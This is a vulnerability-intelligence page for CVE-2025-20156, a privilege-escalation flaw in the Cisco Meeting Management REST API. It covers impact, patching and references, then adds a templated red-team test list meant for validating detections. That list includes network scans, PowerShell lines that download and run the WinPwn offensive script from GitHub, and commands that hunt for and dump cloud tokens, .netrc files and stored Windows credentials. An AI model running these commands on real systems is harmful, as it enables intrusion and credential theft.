CVE-2025-20156
Overview
This vulnerability is an authorization bypass in the REST API of Cisco Meeting Management, specifically due to improper enforcement of access controls on API endpoints. The flaw resides in the REST API component responsible for managing edge nodes, where privilege restrictions are insufficiently validated. This allows authenticated users with low privileges to interact with administrative functions without proper authorization checks.
Vulnerability Description
A vulnerability in the REST API of Cisco Meeting Management could allow a remote, authenticated attacker with low privileges to elevate privileges to administrator on an affected device. This vulnerability exists because proper authorization is not enforced upon REST API users. An attacker could exploit this vulnerability by sending API requests to a specific endpoint. A successful exploit could allow the attacker to gain administrator-level control over edge nodes that are managed by Cisco Meeting Management.
Impact
An attacker with valid low-privilege credentials can leverage this vulnerability to gain administrator-level control over Cisco Meeting Management edge nodes. This enables full administrative access, potentially allowing configuration changes, data manipulation, or lateral movement within the managed environment. Exploitation requires network access and valid authentication (PR:L), but no user interaction. The critical CVSS score (9.9) reflects the high confidentiality, integrity, and availability impact (C:H/I:H/A:H) of such privilege escalation.
Solution
Cisco has released a security advisory (cisco-sa-cmm-privesc-uy2Vf8pc) addressing this vulnerability in Cisco Meeting Management. Users should apply the vendor-provided patches as detailed in the advisory to enforce proper authorization on REST API endpoints. The advisory includes specific version updates and configuration guidance to mitigate the issue. Refer to Cisco’s official security center for step-by-step patch installation instructions and verification procedures.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the REST API of Cisco Meeting Management arises from inadequate authorization checks for users interacting with the API. Specifically, the flaw allows a remote, authenticated attacker with low privileges to escalate their access to administrator-level permissions. This occurs because the system fails to properly validate the authorization of API requests, enabling unauthorized actions that should be restricted to higher privilege levels. The vulnerability is particularly concerning as it can be exploited through crafted API requests directed at specific endpoints, thereby bypassing the intended security controls of the application.
Exploitation of this vulnerability can occur through various attack vectors. An attacker, once authenticated with low-level access, could leverage the REST API to send specially crafted requests that manipulate the system into granting elevated privileges. For instance, an attacker might exploit the API to modify user roles or access sensitive configurations that are typically reserved for administrators. This exploitation could be executed remotely, making it particularly dangerous as it does not require physical access to the affected devices. The ability to gain administrative control over edge nodes managed by Cisco Meeting Management significantly increases the attack surface, allowing for further malicious activities such as data exfiltration, service disruption, or the deployment of additional malware.
The real-world impact of this vulnerability can be severe, especially for organizations relying on Cisco Meeting Management for their communication and collaboration needs. Gaining administrator-level access could allow an attacker to manipulate meeting settings, access sensitive information, or disrupt services, leading to operational downtime. The business risks associated with such an incident include financial losses, reputational damage, and potential regulatory penalties, particularly if sensitive data is compromised. Organizations that utilize this platform must recognize that the consequences of an exploit extend beyond immediate technical implications, potentially affecting customer trust and compliance with data protection regulations.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular security assessments and penetration testing should be conducted to identify any unauthorized access attempts or unusual API activity. Monitoring logs for anomalous behavior, such as unexpected privilege escalations or unauthorized API calls, can provide early warning signs of exploitation attempts. Additionally, organizations should enforce strict access controls, ensuring that only necessary personnel have access to the REST API and that their permissions are regularly reviewed and updated. Applying security patches and updates provided by Cisco is crucial, as these often address known vulnerabilities and enhance the overall security posture of the system.
In conclusion, the vulnerability within the REST API of Cisco Meeting Management presents a significant threat due to its potential for privilege escalation and remote exploitation. Organizations must remain vigilant, employing robust detection and mitigation strategies to protect against such risks. By prioritizing security measures and maintaining awareness of the evolving threat landscape, businesses can better safeguard their critical communication infrastructure and minimize the potential impact of this and similar vulnerabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Meeting Management | All |
cpe:2.3:a:cisco:meeting_management:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-20156 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cmm-privesc-uy2Vf8pc |
| blog.clamav.net |
GitHub CVE
|
https://blog.clamav.net/2025/01/clamav-142-and-108-security-patch.html |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-clamav-ole2-H549rphA |